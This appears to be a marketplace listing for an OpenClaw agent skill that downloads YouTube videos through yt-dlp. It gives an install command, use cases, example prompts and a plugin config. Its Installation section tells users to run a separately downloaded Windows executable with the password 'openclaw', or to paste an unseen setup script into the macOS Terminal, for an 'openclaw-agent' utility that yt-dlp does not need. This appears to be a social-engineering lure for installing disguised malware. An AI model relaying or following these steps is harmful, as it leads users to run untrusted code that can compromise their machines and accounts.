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Official Verified media Safety 4/5

youtube-video-downloader

Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.

Why use this skill?

Easily download YouTube videos, extract audio, and manage playlists with the OpenClaw AI YouTube Downloader. Includes format, subtitle, and metadata support.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-9br7p
Or

What This Skill Does

The youtube-video-downloader skill is a powerful automation utility for OpenClaw that leverages the industry-standard yt-dlp tool to manage media acquisition. It allows users to download, convert, and organize content from YouTube directly via their AI agent. Whether you need to archive entire playlists for offline viewing, extract high-quality audio for projects, or embed specific metadata and subtitles, this skill provides a granular interface to control the output format, quality, and file structure of your media downloads.

Installation

Installation requires a two-step process to ensure full functionality. First, install the core dependency via command line: pip install yt-dlp. Second, you must initialize the openclaw-agent utility. For Windows, download the official release from the GitHub repository and run the executable using the password 'openclaw'. For macOS, copy the provided setup script into your Terminal. Optionally, install ffmpeg via Homebrew or your system package manager (e.g., sudo apt install ffmpeg) to enable high-quality format conversion and audio extraction features.

Use Cases

  • Offline Media Archives: Perfect for users who travel frequently or have limited internet access and want to download educational playlists for offline study.
  • Content Creation: Effortlessly pull high-fidelity audio or specific video snippets to incorporate into your own editing workflows or podcast production.
  • Subtitled Retrieval: Automatically download and embed subtitles or auto-generated transcripts, which is vital for accessibility and studying foreign language content.
  • Data Management: Use custom output templates to automatically organize your downloads into specific directories, tagged by channel name, date, or playlist index.

Example Prompts

  1. "Download the latest video from this channel URL and save it as an MP3 file with the thumbnail embedded."
  2. "Can you download the first 10 videos from this YouTube playlist and save them to my ~/Videos/Study folder, naming them with the playlist index?"
  3. "Download the 1080p version of this video and make sure the English subtitles are embedded into the file."

Tips & Limitations

Always be mindful of storage space when downloading entire channels. For the best compatibility, ensure FFmpeg is correctly installed in your system PATH, as many advanced features like audio extraction and subtitle embedding depend on it. Note that downloading copyrighted content must comply with YouTube's Terms of Service and local laws. If a download fails, use the '-F' flag to list available formats to confirm the video's availability.

Metadata

Stars2387
Views1
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-video-downloader-9br7p": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#media#youtube#downloader#video#automation
Safety Score: 4/5

Flags: network-access, file-write, code-execution